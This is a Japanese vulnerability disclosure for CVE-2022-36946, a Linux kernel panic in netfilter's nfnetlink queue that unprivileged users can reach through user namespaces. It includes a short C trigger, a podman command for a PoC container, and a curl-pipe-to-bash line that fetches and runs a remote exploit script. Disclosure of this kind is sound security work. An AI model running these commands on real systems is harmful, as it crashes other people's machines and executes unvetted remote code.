報告者: Domingo Dirutigliano と Nicola Guerrera
firegex(CTF Attack-Defence競技向けのアプリケーションファイアウォール)に取り組んでいたところ、いくつかのカーネルパニックに遭遇しました。この奇妙な動作はその後分離・分析され、netfilterモジュール、特にnfnetlinkにおける潜在的なセキュリティ脆弱性の発見につながりました。
カーネルは、0バイトのnfta_payload属性を持つnf_queue判定を送信する際にパニックを起こします。
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
これは、IP/IPv6スタックが入力フックの後にパケットからIP(v6)ヘッダをプルするために発生します。そのため、ユーザーがパケットをヘッダサイズ未満に切り詰めると、このskb_pull()が不正なskbを生成し、パニックを引き起こします。
特権のないユーザーでも試すことができます(詳細は後述)。curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash を実行してください。
Linux名前空間、特にユーザー名前空間(kernel.unprivileged_userns_clone=1 で有効化)を利用すると、通常のユーザーでもネットワーク名前空間を作成でき、パニックを引き起こすのと同じカーネルプリミティブを使用できます。そのため、root権限がなくても本脆弱性を悪用できます。
このシナリオは珍しくありません。例えば podman はこのオプションを使用して(ルートレス)コンテナを実行しており、一部のディストリビューションではこのオプションがデフォルトで有効になっています。
また、root権限なしでエクスプロイトを実行するには、以下を実行しても試せます。
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
または、その場でテストしたい場合(tarとcurlのみインストールされていれば大丈夫です)。
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
Linuxカーネル5.19で修正されました。差分を表示
Linuxカーネルセキュリティチームによるオリジナルのパッチはこちら
6回目の試行で動作したため、その名前を維持しています。

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing